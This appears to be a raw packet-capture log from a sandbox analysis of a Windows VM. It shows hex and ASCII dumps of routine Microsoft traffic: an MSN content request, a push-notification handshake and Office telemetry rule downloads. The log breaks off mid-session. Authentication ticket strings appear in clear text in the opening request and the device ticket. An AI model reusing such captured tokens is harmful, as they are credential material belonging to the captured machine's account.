t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZjCwozwb+rQFnFZqqHInIKXhNuoPdnvPeL9MPRANgkvOaxT5Dp9bMHyhglJvI4a6mLLG9W+X+PYuygULfZy7Yd6M3avyttRo5Fgeg0QUSTRljD3L99oDphc1APTnCAY+awt31f90JQMBo9uXBU/6ntj77Jgwwef3QZ05jvf9MPCvl9AEZ4OqfmNdodscuT2Hk67gtcpglms9lz6r3hx5y4J9RH/zx2U6KqRUixGDKD+ojDx4xihDSZF0rEKX6E2Hg9ESjQtuBclvd/6UaFYA62S3NkMDNQsZtb59zSjh1D0ryVh1v3KuYWY/mi6FNxmzI10L2ZIuEXhTR7TrVjLcDkQZgAAEJGne1SsE0ajAYOv6W7zrA+wAedCa1b5Iswlo/vyuGhI6+ZWZ3nccNdBYWEllYiKlNGtrzoIFOmKArX6/fALP3/5eZf91bxSx1S6R5uPjSV/MmVaZPJDm2Rx4sRFjNd/q0hwP3mbKeSUypuZZUnbjCMF99kL7isF2bV8f2FQvMZLWSmMW28AmQDTBtHM2c2BVZSCkIsuh5xOAjWOeVHLxodLL8nYN7bm8q9l2pIIcnhE3tRFsqr2HH/16jPBQRqZ03R5Z4uaSEaal/eWRtZlUBWP3c04G9E3FiQAXlnK/cpmBiVoMZ0fmGDrnQiTNZJ6I9bmDAwyH0UE0W+k/YeLOkKzWmEZ7jCcZZ75nWwCLc3igpQHFO2k8oxLWvdM8HZHPcDDf+uElmqK6G4OOYJRcVBG0smq+rRn3Aw5aI76vsLn3gBO5Ku4DThGVPC30vjtSC4K7FC1fb6isy8LZw9MJkhyhOUpUh5n3rmDN+m+8/bwxezBphzFX3doGJJ1y9huvkKojNXafc5MwnzZQ1lNvk7buJN2aw9XTp+/kBFiC8972Xfw4pKpyNXzNf1HAGfrmD3i0xjP1oMuDIqqlZPLlLE3O9gB&p= Cache-Control: no-cache MS-CV: aIz1vfxrP0yF0BT6.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-12-06 17:45:08 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 3363 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P426081542-T1-C128000000001615609+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: L/pBxnBPqjfgJ57XUluDnZ8KydsjMVL5br1WjHNauUWqgUbYW6kHRajohsVJ2tVY1HFwVHy1AWaSZEbxk3wB+nmV+wJp8Z91KmWZHwFP1/3LZ65PA5/u6L1ROZ/W07CqQFgtePUohNeXH7NqzwcRiFQwjqSFATcgZV6RGtbPuXEd6P7x7VGJgKRm+0q7wcQsMwy4CpNHHojpoxx4om10z6QHoYbJWDBolPsy15Ez8R4ea5o6uZUsLaLC1xCXX6pWBu+RVUHwnCCnhNaf4Bfq7irRArxqhGtIChsoK4xu3E7ymxUbYr95y42QclSWLCBTJA7vvBJFBptdktn+uC77Mg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 17:45:06 GMT Connection: close
2024-12-06 17:45:08 UTC	3363	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49713	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:13 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 4c 4f 4e 66 58 54 69 5a 49 30 6d 5a 64 39 78 50 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 30 34 64 37 37 32 61 32 66 37 30 32 37 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: LONfXTiZI0mZd9xP.1Context: 604d772a2f70276
2024-12-06 17:45:13 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-06 17:45:13 UTC	1083	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 30 0d 0a 4d 53 2d 43 56 3a 20 4c 4f 4e 66 58 54 69 5a 49 30 6d 5a 64 39 78 50 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 30 34 64 37 37 32 61 32 66 37 30 32 37 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 62 36 65 63 70 44 62 6d 52 52 73 79 52 37 6c 75 38 45 34 45 6a 38 48 43 6c 43 2f 44 7a 51 33 4c 31 34 45 53 79 4c 79 75 61 34 47 7a 50 64 79 55 76 36 54 33 55 52 77 58 43 59 49 5a 63 55 47 31 78 32 42 76 36 4c 57 4f 4a 74 42 6c 76 50 4c 76 43 55 78 75 64 76 42 79 66 70 47 62 46 36 2b 32 4d 48 2b 62 2b 6f 37 70 2f 4b 6d 32 50 Data Ascii: ATH 2 CON\DEVICE 1060MS-CV: LONfXTiZI0mZd9xP.2Context: 604d772a2f70276<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXb6ecpDbmRRsyR7lu8E4Ej8HClC/DzQ3L14ESyLyua4GzPdyUv6T3URwXCYIZcUG1x2Bv6LWOJtBlvPLvCUxudvByfpGbF6+2MH+b+o7p/Km2P
2024-12-06 17:45:13 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 4c 4f 4e 66 58 54 69 5a 49 30 6d 5a 64 39 78 50 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 30 34 64 37 37 32 61 32 66 37 30 32 37 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: LONfXTiZI0mZd9xP.3Context: 604d772a2f70276<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-06 17:45:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-06 17:45:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 49 43 58 35 4c 44 75 51 44 6b 43 32 38 30 76 5a 4e 37 46 4e 37 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ICX5LDuQDkC280vZN7FN7Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:19 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:19 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:57 GMT ETag: "0x8DD1540234F33E7" x-ms-request-id: c4b28cbf-a01e-0053-235f-478603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174519Z-1746fd949bdwt8wrhC1EWRu6rg00000004s0000000006avh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:19 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-06 17:45:20 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-06 17:45:20 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-06 17:45:20 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-06 17:45:20 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-06 17:45:20 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-06 17:45:20 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-06 17:45:20 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-06 17:45:20 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-06 17:45:20 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:22 UTC	192	OUT	GET /rules/rule120100v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:22 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:22 GMT Content-Type: text/xml Content-Length: 1000 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB097AFC9" x-ms-request-id: cb80336d-801e-0078-59bd-47bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174522Z-1746fd949bdhk6hphC1EWRaw3c000000048000000000nza9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:22 UTC	1000	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 31 30 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 32 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 52 65 73 75 6d 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 49 20 54 3d 22 33 22 20 49 3d 22 33 30 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 35 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120100" V="3" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <A T="2" E="TelemetryResume" /> <TI T="3" I="30s" /> <R T="4" R="120100" /> <TH T="5">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:22 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
